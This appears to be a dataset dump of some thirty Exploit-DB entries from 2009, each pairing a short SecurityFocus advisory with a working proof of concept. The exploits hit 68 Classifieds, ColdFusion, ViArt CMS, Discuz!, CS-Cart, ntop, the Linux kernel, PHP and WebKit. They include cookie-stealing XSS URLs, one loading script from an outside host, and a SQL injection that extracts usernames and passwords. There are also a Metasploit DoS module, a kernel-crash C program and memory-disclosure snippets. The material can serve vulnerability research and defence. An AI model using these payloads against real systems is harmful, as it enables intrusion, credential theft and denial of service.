QLWD/code_shield huggingface dataset:
标题: 68 Classifieds 4.1 - 'toplistings.php' Cross-Site Scripting EDB-ID: 33200 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info
   
'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
These issues affect 68 Classifieds 4.1; other versions may also be affected.
 
 http://www.example.com/toplistings.php?page=[code] URL: https://www.exploit-db.com/exploits/33200
标题: GreenSQL Firewall 0.9.x - WHERE Clause Security Bypass EDB-ID: 33203 CVE: 2008-6992 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/36209/info

GreenSQL Firewall is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions. Successfully exploiting this issue may aid in SQL attacks on the underlying application.

The following sample SQL expression is available:

x=y=z URL: https://www.exploit-db.com/exploits/33203
标题: 68 Classifieds 4.1 - 'viewmember.php' Cross-Site Scripting EDB-ID: 33202 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info
     
'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
These issues affect 68 Classifieds 4.1; other versions may also be affected.

 http://www.example.com/viewmember.php?member=[code] URL: https://www.exploit-db.com/exploits/33202
标题: 68 Classifieds 4.1 - 'login.php' Cross-Site Scripting EDB-ID: 33198 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info
 
'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect 68 Classifieds 4.1; other versions may also be affected. 

 http://www.example.com/login.php?goto=usercheckout.php&view=[code] URL: https://www.exploit-db.com/exploits/33198
标题: phpAuction 3.2 - 'lan' Remote File Inclusion EDB-ID: 33204 CVE: 2008-7000 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/36211/info

phpAuction is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible.

phpAuction 3.2 is vulnerable; other versions may also be affected.

http://www.example.com/auction/index.php?lan=Evilshell URL: https://www.exploit-db.com/exploits/33204
标题: 68 Classifieds 4.1 - 'viewlisting.php' Cross-Site Scripting EDB-ID: 33201 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info
    
'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
These issues affect 68 Classifieds 4.1; other versions may also be affected.

 http://www.example.com/viewlisting.php?view=[code] URL: https://www.exploit-db.com/exploits/33201
标题: 68 Classifieds 4.1 - 'category.php' Cross-Site Scripting EDB-ID: 33197 CVE: 2009-2780 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36208/info

'68 Classifieds' is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect 68 Classifieds 4.1; other versions may also be affected. 

http://www.example.com/category.php?cat=[code] URL: https://www.exploit-db.com/exploits/33197
标题: Computer Associates SiteMinder - '%00' Cross-Site Scripting Protection Security Bypass EDB-ID: 33178 CVE: 2009-2704 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/36086/info

Computer Associates SiteMinder is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to bypass cross-site scripting protections. Successful exploits can aid in further attacks.

We don't know which versions of SiteMinder are affected. We will update this BID when more details become available. 

http://www.example.com/app/function?foo=bar%00<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/33178
标题: VideoGirls - 'view.php?p' Cross-Site Scripting EDB-ID: 33188 CVE: 2009-3186 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/36168/info
  
VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/view.php?p="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/33188
标题: VideoGirls - 'forum.php?t' Cross-Site Scripting EDB-ID: 33186 CVE: 2009-3186 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/36168/info

VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible. 

http://www.example.com/forum.php?ftid=2&t="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/33186
标题: VideoGirls - 'profile.php?profile_name' Cross-Site Scripting EDB-ID: 33187 CVE: 2009-3186 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/36168/info
 
VideoGirls is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

http://www.example.com/profile.php?profile_name="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/33187
标题: Computer Associates SiteMinder - Unicode Cross-Site Scripting Protection Security Bypass EDB-ID: 33181 CVE: 2009-2705 类型: WEBAPPS 平台: JAVA 发布日期: 2009-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/36088/info

Computer Associates SiteMinder is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to bypass cross-site scripting protections. Successful exploits can aid in further attacks.

We don't know which versions of SiteMinder are affected. We will update this BID when more details become available.

http://www.example.com/app/function?foo=bar%e0%80%bc URL: https://www.exploit-db.com/exploits/33181
标题: Adobe Flex SDK 3.x - 'index.template.html' Cross-Site Scripting EDB-ID: 33180 CVE: 2009-1879 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/36087/info

Adobe Flex SDK is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to express-install template files.

An attacker could exploit this vulnerability to execute arbitrary script code in the context of a web application built using the SDK. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Flex SDK 3.4 are vulnerable. 

http://www.example.com/Flex/index.template.html?"/></object><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/33180
标题: ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service EDB-ID: 33176 CVE: 2009-2732 类型: DOS 平台: LINUX 发布日期: 2009-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/36074/info

The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ntop 3.3.10; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'NTOP <= 3.3.10 Basic Authorization DoS',
                        'Description'    => %q{
                                A denial of service condition can be reached by specifying an invalid value for the Authorization
                                HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
                                a colon. When no colon exists in the decoded string the username is left at its default NULL value.
                                During the authentication process the length of the username is computed via strlen(), which results
                                in a segmentation fault when it processes the null value.
                        },
                        'Author'         => 'Brad Antoniewicz <brad.antoniewicz@foundstone.com>',
                        'License'        => MSF_LICENSE,
                        'Version'        => '1',
                        'References'     => [
                                [ 'BID', 'None'],
                                [ 'CVE', 'CVE-2009-2732']

                        ],
                        'DisclosureDate' => 'Aug 08 2009'))
                        register_options( [Opt::RPORT(3000),], self.class )

        end

        def run
                begin
                        o = {
                                'uri' => '/configNtop.html',
                                'headers' => {
                                        'Authorization' => 'Basic A=='
                                }
                        }

                        c = connect(o)
                        c.send_request(c.request_raw(o))

                        print_status("Request sent to #{rhost}:#{rport}")
                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                        print_status("Couldn't connect to #{rhost}:#{rport}")
                rescue ::Timeout::Error, ::Errno::EPIPE
                end
        end
end URL: https://www.exploit-db.com/exploits/33176
标题: Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.cfm?startRow' Cross-Site Scripting EDB-ID: 33168 CVE: 2009-1872 类型: WEBAPPS 平台: CFM 发布日期: 2009-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/36046/info
 
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%DF%20%E7%E4%E5%F1%FC%20%E1%FB%EB%27))%22%3E URL: https://www.exploit-db.com/exploits/33168
标题: Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' Query String Cross-Site Scripting EDB-ID: 33169 CVE: 2009-1872 类型: WEBAPPS 平台: CFM 发布日期: 2009-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/36046/info
  
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
  
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/wizards/common/_logintowizard.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/33169
标题: Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizarduser.cfm' Query String Cross-Site Scripting EDB-ID: 33167 CVE: 2009-1872 类型: WEBAPPS 平台: CFM 发布日期: 2009-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/36046/info

Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/wizards/common/_authenticatewizarduser.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/33167
标题: PHP 5.2.10/5.3 - 'ini_restore()' Memory Information Disclosure (2) EDB-ID: 33163 CVE: 2009-2626 类型: REMOTE 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36009/info
 
PHP is prone to an information-disclosure vulnerability.
 
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 

<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?> URL: https://www.exploit-db.com/exploits/33163
标题: Discuz! 6.0 - '2fly_gift.php' SQL Injection EDB-ID: 33166 CVE: 2009-2915 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/36044/info

Discuz! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Discuz! 6.0 is affected; other versions may also be vulnerable. 

The following example URI is available:

http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members URL: https://www.exploit-db.com/exploits/33166
标题: Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query String Cross-Site Scripting EDB-ID: 33170 CVE: 2009-1872 类型: WEBAPPS 平台: CFM 发布日期: 2009-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/36046/info
   
Adobe ColdFusion is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
   
Attacker-supplied HTML and script code would run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
   
Adobe ColdFusion 8.0.1 and earlier are vulnerable. 

http://www.example.com:8500/CFIDE/administrator/enter.cfm?>&#039;"><script>alert(&#039;DSECRG_XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/33170
标题: WebKit - Floating Point Number Remote Buffer Overflow EDB-ID: 33164 CVE: 2009-2195 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/36023/info

WebKit is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Apple Safari 4.0.3 are vulnerable; other applications using WebKit may also be affected. 


Example 1:
---------
<script>
var Overflow = "31337" + 0.313373133731337313373133731337...;
</script>
---------

Example 2:
---------
<img width=0.3133731337313373133731337... src="31337.jpg">
--------- URL: https://www.exploit-db.com/exploits/33164
标题: PHP 5.2.10/5.3 - 'ini_restore()' Memory Information Disclosure (1) EDB-ID: 33162 CVE: 2009-2626 类型: REMOTE 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36009/info

PHP is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 

<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?> URL: https://www.exploit-db.com/exploits/33162
标题: ViArt CMS - 'forum_topic_new.php?forum_id' Cross-Site Scripting EDB-ID: 33158 CVE: 2009-4547 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36003/info
  
ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
  
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
  
http://www.example.com/cms-demo/forum_topic_new.php?forum_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/33158
标题: ViArt CMS - 'forums.php?category_id' Cross-Site Scripting EDB-ID: 33155 CVE: 2009-4547 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36003/info

ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible. 

http://www.example.com/cms-demo/forums.php?category_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/33155
标题: SQLiteManager 1.2 - 'main.php' Cross-Site Scripting EDB-ID: 33154 CVE: 2007-1231 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36002/info

SQLiteManager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SQLiteManager 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/main.php?redirect=<script>alert(&#039;Hadi Kiamarsi&#039;)</script> URL: https://www.exploit-db.com/exploits/33154
标题: Censura < 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33144 CVE: 2009-2595 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/35920/info

Censura is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Censura 2.1.1 are vulnerable. 

http://www.example.com/review/productSearch.html?search=1&amp;action=ProductSearch&amp;q=%3CSCRIPT%2FSRC%3D%22http%3A%2F%2Fha.ckers.org%2Fxss.js%22%3E%3C%2FSCRIPT%3E&amp;vendorId=&amp;categoryId=&amp;submit=Search URL: https://www.exploit-db.com/exploits/33144
标题: CS-Cart 2.0.5 - 'reward_points.post.php' SQL Injection EDB-ID: 33146 CVE: 2009-2579 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/35936/info

CS-Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to CS-Cart 2.0.6 are vulnerable. 

The following example URI is available:

http://www.example.com/index.php?dispatch=reward_points.userlog&result_ids=pagination_contents&sort_by=timestamp&sort_order=' URL: https://www.exploit-db.com/exploits/33146
标题: Linux Kernel 2.6.x - 'posix-timers.c' Null Pointer Dereference Denial of Service EDB-ID: 33148 CVE: 2009-2767 类型: DOS 平台: LINUX 发布日期: 2009-08-06 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/35976/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

This issue was introduced in Linux kernel 2.6.28-rc1 and fixed in 2.6.31-rc5-git3.
*/



#include <time.h>

int main(void)
{
 struct timespec ts;
 ts.tv_sec = 1;
 ts.tv_nsec = 0;

 return clock_nanosleep(4, 0, &ts, NULL);
} URL: https://www.exploit-db.com/exploits/33148
标题: ViArt CMS - 'forum.php?forum_id' Cross-Site Scripting EDB-ID: 33157 CVE: 2009-4547 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36003/info
 
ViArt CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.
 
http://www.example.com/cms-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert(522558583855)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/33157